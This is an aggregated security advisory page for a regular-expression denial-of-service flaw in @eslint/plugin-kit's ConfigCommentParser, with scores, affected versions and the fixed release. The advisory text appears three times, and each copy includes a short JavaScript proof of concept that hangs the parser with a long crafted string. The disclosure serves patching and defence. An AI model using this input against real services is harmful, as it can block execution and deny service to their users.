GHSA-xffm-g5w8-qvg7
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Summary
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
Impact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
What each source reports
GitHub Advisories Score used
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Summary
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
Impact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
- Record
GHSA-xffm-g5w8-qvg7- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Summary
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
Impact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.
- Record
GHSA-xffm-g5w8-qvg7- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVCLSA-2026-1780966315No score
TuxCare security update for @eslint/plugin-kit (1 CVE)
TuxCare rebuilt @eslint/plugin-kit to address 1 CVE. Fixed in 0.2.7-tuxcare.2.
- Record
CLSA-2026-1780966315- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@eslint/plugin-kitnpm | before 0.3.4 | 0.3.4 |
@eslint/plugin-kitTuxCare:npm | 0.2.7-tuxcare.0 up to 0.2.7-tuxcare.2, plus listed versions 0.2.70.2.7-tuxcare.1 | 0.2.7-tuxcare.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-xffm-g5w8-qvg7 is a low vulnerability (CVSS 2.3) in @eslint/plugin-kit, published July 18, 2025. No source lists public exploit code. Fixed in @eslint/plugin-kit 0.3.4.